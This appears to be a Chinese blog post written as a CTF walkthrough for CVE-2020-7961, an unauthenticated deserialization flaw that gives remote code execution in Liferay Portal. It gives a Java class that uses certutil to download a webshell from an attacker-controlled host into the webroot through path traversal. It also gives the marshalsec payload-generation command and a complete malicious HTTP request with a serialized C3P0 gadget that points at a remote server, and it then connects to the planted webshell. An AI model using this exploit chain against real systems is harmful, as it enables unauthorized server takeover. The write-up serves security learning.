本题考点为cve-2020-7961.

漏洞说明

Liferay是一个开源的Portal(认证)产品,提供对多个独立系统的内容集成,为企业信息、流程等的整合提供了一套完整的解决方案,和其他商业产品相比,Liferay有着很多优良的特性,而且免费,在全球都有较多用户.

该洞是个反序列化导致的rce,通过未授权访问其api传递json数据进行反序列化,危害较高(1)

影响范围

Liferay Portal 6.1.X
Liferay Portal 6.2.X
Liferay Portal 7.0.X
Liferay Portal 7.1.X
Liferay Portal 7.2.X(2)

题目复现

查找资料,利用网上已有的poc.

LifExp.java:

public class LifExp { 
    static { 
        try { 
            String[] cmd = {"cmd.exe", "/c", "certutil.exe -urlcache -split -f", "http://ip:port/shell.jsp", "..\\webapps\\ROOT\\shell.jsp"};
            java.lang.Runtime.getRuntime().
exec(cmd).waitFor(); 
        } catch ( Exception e ) { 
            e.printStackTrace(); 
        } 
    } 
}

靶机系统为Windows,certutil.exe可以进行远程http请求,由于当前靶机执行命令的路径为liferay-ce-portal-7.1.2-ga3\tomcat-9.0.10\bin,所以在下载webshell时要进行目录穿越将其下载到与index.jsp同目录即tomcat-9.0.10\webapps\ROOT.

将shell.jsp和LifExp.java放到有公网ip的vps中,使用javac LIfExp.java生成LifExp.class文件.

在上述三个文件所放置的目录下使用python3 -m http.server port启动web服务.

接着用marshalsec-0.0.3-SNAPSHOT-all.jar进行序列化.(在此感谢Leon大哥的资源)

命令:java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson C3P0WrapperConnPool http://ip:port/ LifExp(ip和端口为开启了web服务的vps的ip及对应端口.)

利用burp发包.

POST /api/jsonws/invoke HTTP/1.1
Host: web1616.dozerjit.club:8086
Content-Length: 1357
Content-Type: application/x-www-form-urlencoded
Connection: close

cmd=%7B%22%2Fexpandocolumn%2Fadd-column%22%3A%7B%7D%7D&p_auth=o3lt8q1F&formDate=1585270368703&tableId=1&name=2&type=3&defaultData%3Acom.mchange.v2.c3p0.WrapperConnectionPoolDataSource={"userOverridesAsString":"HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400064c696645787074001a687474703a2f2f382e3132392e3136342e3232323a383030302f740003466f6f;"}

WrapperConnectionPoolDataSource=后面的内容替换为用marshalsec-0.0.3-SNAPSHOT-all.jar生成的字符串.

发包后若看到vps收到请求,即为成功.

最后用蚁剑连接webshell即可,flag.txt在Desktop.

做题时使用的webshell

(1)(2):CVE-2020-7961 Liferay Portal 复现分析

 

 

Categories:

Tags:

No responses yet

发表评论

电子邮件地址不会被公开。 必填项已用*标注

闽ICP备19027300号